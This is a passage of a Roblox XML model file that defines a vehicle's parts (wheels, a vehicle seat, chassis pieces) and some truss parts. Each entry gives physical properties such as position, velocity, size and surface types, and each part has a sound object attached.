						<Z>11.436554</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">2</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>4</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="StockSound" referent="RBX1904">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">c6ouqz</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX1905">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1020</int>
					<CoordinateFrame name="CFrame">
						<X>248.992859</X>
						<Y>2.3957119</Y>
						<Z>-18.0006752</Z>
						<R00>0.00098475907</R00>
						<R01>-0.609672964</R01>
						<R02>0.792652369</R02>
						<R10>0.00112819509</R10>
						<R11>0.792652965</R11>
						<R12>0.60967201</R12>
						<R20>-0.999998808</R20>
						<R21>0.000293928839</R21>
						<R22>0.00146841479</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">1</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Left Rear</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">0.300000012</float>
					<float name="RightParamB">0.300000012</float>
					<token name="RightSurface">6</token>
					<token name="RightSurfaceInput">1</token>
					<Vector3 name="RotVelocity">
						<X>-0.152858913</X>
						<Y>0.669976294</Y>
						<Z>-0.0203404743</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>1.29333925</X>
						<Y>0.7206285</Y>
						<Z>2.39899039</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">2</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>4</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="StockSound" referent="RBX1906">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">281hws43</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="StockSound" referent="RBX1907">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">111wbbtz</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1908">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1019</int>
				<CoordinateFrame name="CFrame">
					<X>225.975922</X>
					<Y>1.38985658</Y>
					<Z>-47</Z>
					<R00>0.999997795</R00>
					<R01>-0.00209350232</R01>
					<R02>1.67997484e-006</R02>
					<R10>0.00209350092</R10>
					<R11>0.999997616</R11>
					<R12>0.000612605421</R12>
					<R20>-2.96246162e-006</R20>
					<R21>-0.00061260059</R21>
					<R22>0.999999821</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">0</token>
				<float name="Friction">1</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Wheel</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">0.300000012</float>
				<float name="RightParamB">0.300000012</float>
				<token name="RightSurface">6</token>
				<token name="RightSurfaceInput">1</token>
				<Vector3 name="RotVelocity">
					<X>-0.000558395695</X>
					<Y>0.0106322402</Y>
					<Z>2.91898036</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>9.67789745</X>
					<Y>-0.317225009</Y>
					<Z>-0.002969397</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">2</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>2</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1909">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">w6uf6ujgw</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1910">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1019</int>
				<CoordinateFrame name="CFrame">
					<X>226.015244</X>
					<Y>1.40531778</Y>
					<Z>-43.9599991</Z>
					<R00>0.999653816</R00>
					<R01>-0.0140258064</R01>
					<R02>0.0222612191</R02>
					<R10>-0.00900955871</R10>
					<R11>0.612450421</R11>
					<R12>0.790457666</R12>
					<R20>-0.0247206986</R20>
					<R21>-0.790384591</R21>
					<R22>0.612112045</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">0</token>
				<float name="Friction">1</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Wheel</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">0.300000012</float>
				<float name="RightParamB">0.300000012</float>
				<token name="RightSurface">6</token>
				<token name="RightSurfaceInput">1</token>
				<Vector3 name="RotVelocity">
					<X>-1.9315964</X>
					<Y>-4.0599246</Y>
					<Z>10.0574732</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>37.0600357</X>
					<Y>5.21165562</Y>
					<Z>-8.60958958</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">2</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>2</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1911">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">e90bay</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1912">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1019</int>
				<CoordinateFrame name="CFrame">
					<X>226.000778</X>
					<Y>1.40406454</Y>
					<Z>-41</Z>
					<R00>0.999980092</R00>
					<R01>0.00631402014</R01>
					<R02>1.53419933e-005</R02>
					<R10>-0.00631402293</R10>
					<R11>0.999969184</R11>
					<R12>0.00466162618</R12>
					<R20>1.40920793e-005</R20>
					<R21>-0.00466162991</R21>
					<R22>0.999989152</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">0</token>
				<float name="Friction">1</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Wheel</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">0.300000012</float>
				<float name="RightParamB">0.300000012</float>
				<token name="RightSurface">6</token>
				<token name="RightSurfaceInput">1</token>
				<Vector3 name="RotVelocity">
					<X>-0.00247147307</X>
					<Y>0.0125180753</Y>
					<Z>-1.55839181</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>40.0394592</X>
					<Y>-4.34538174</Y>
					<Z>-0.00405786419</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">2</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>2</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1913">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">asq86zi</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1914">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.300000012</float>
				<float name="BottomParamB">0.300000012</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1019</int>
				<CoordinateFrame name="CFrame">
					<X>229</X>
					<Y>1.89999998</Y>
					<Z>-41</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">1</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.00118217827</X>
					<Y>0.00220030732</Y>
					<Z>-0.00017520129</Z>
				</Vector3>
				<float name="TopParamA">-0.300000012</float>
				<float name="TopParamB">0.300000012</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.0137240542</X>
					<Y>0.00162590353</Y>
					<Z>0.00876526441</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>4</X>
					<Y>1.20000005</Y>
					<Z>12</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1915">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">la6zj1b</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1916">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1019</int>
				<CoordinateFrame name="CFrame">
					<X>226.000656</X>
					<Y>1.40406418</Y>
					<Z>-37.9999847</Z>
					<R00>0.999980092</R00>
					<R01>0.00630890485</R01>
					<R02>4.43586123e-006</R02>
					<R10>-0.00630888902</R10>
					<R11>0.999975383</R11>
					<R12>0.00307055726</R12>
					<R20>1.49361013e-005</R20>
					<R21>-0.0030705242</R21>
					<R22>0.999995291</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">0</token>
				<float name="Friction">1</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Wheel</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">0.300000012</float>
				<float name="RightParamB">0.300000012</float>
				<token name="RightSurface">6</token>
				<token name="RightSurfaceInput">1</token>
				<Vector3 name="RotVelocity">
					<X>0.00012636403</X>
					<Y>-0.0424957462</Y>
					<Z>-1.56424773</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>40.3728447</X>
					<Y>-4.34488106</Y>
					<Z>0.00307925954</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">2</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>2</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1917">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">0mpe3ol</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="VehicleSeat" referent="RBX1918">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">208</int>
				<CoordinateFrame name="CFrame">
					<X>229</X>
					<Y>3</Y>
					<Z>-41</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<bool name="HeadsUpDisplay">true</bool>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<float name="MaxSpeed">30</float>
				<string name="Name">VehicleSeat</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.00118217827</X>
					<Y>0.00220030732</Y>
					<Z>-0.00017520129</Z>
				</Vector3>
				<int name="Steer">0</int>
				<int name="Throttle">0</int>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">5</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Torque">4</float>
				<float name="Transparency">0</float>
				<float name="TurnSpeed">1</float>
				<Vector3 name="Velocity">
					<X>0.0139167756</X>
					<Y>0.00162590353</Y>
					<Z>0.00746486848</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<Vector3 name="size">
					<X>2</X>
					<Y>1</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1919">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">9vssb36tj</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1920">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1019</int>
				<CoordinateFrame name="CFrame">
					<X>225.971024</X>
					<Y>1.39962864</Y>
					<Z>-35.0000038</Z>
					<R00>0.999978006</R00>
					<R01>-0.00663496694</R01>
					<R02>-4.87203124e-006</R02>
					<R10>0.00663495949</R10>
					<R11>0.999975085</R11>
					<R12>0.00239842571</R12>
					<R20>-1.1041564e-005</R20>
					<R21>-0.00239840522</R21>
					<R22>0.999997139</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">0</token>
				<float name="Friction">1</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Wheel</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">0.300000012</float>
				<float name="RightParamB">0.300000012</float>
				<token name="RightSurface">6</token>
				<token name="RightSurfaceInput">1</token>
				<Vector3 name="RotVelocity">
					<X>-0.00121052843</X>
					<Y>0.0228018183</Y>
					<Z>8.296175</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-44.6931992</X>
					<Y>-2.3740325</Y>
					<Z>-0.0084498357</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">2</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>2</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1921">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">73de</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1922">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1019</int>
				<CoordinateFrame name="CFrame">
					<X>231.996307</X>
					<Y>1.39279056</Y>
					<Z>-46.9945183</Z>
					<R00>-0.999970734</R00>
					<R01>0.00539951678</R01>
					<R02>-0.00542087993</R02>
					<R10>0.00191250024</R10>
					<R11>-0.509615958</R11>
					<R12>-0.860399842</R12>
					<R20>-0.00740831066</R20>
					<R21>-0.86038506</R21>
					<R22>0.509590685</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">0</token>
				<float name="Friction">1</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Wheel</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">0.300000012</float>
				<float name="RightParamB">0.300000012</float>
				<token name="RightSurface">6</token>
				<token name="RightSurfaceInput">1</token>
				<Vector3 name="RotVelocity">
					<X>1.84970248</X>
					<Y>3.79342461</Y>
					<Z>2.22622275</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>5.6122098</X>
					<Y>1.21971297</Y>
					<Z>2.63622069</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">2</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>2</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX1923">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">zqnh9fn</string>
					<float name="Pitch">1</float>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Model" referent="RBX1924">
			<Properties>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="TrussPart" referent="RBX1925">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-37</X>
						<Y>39.2000008</Y>
						<Z>69</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>0</R11>
						<R12>1</R12>
						<R20>0</R20>
						<R21>-1</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>8</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1926">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-21</X>
						<Y>39</Y>
						<Z>69</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>0</R11>
						<R12>1</R12>
						<R20>0</R20>
						<R21>-1</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>8</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1927">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-21</X>
						<Y>35.4000015</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
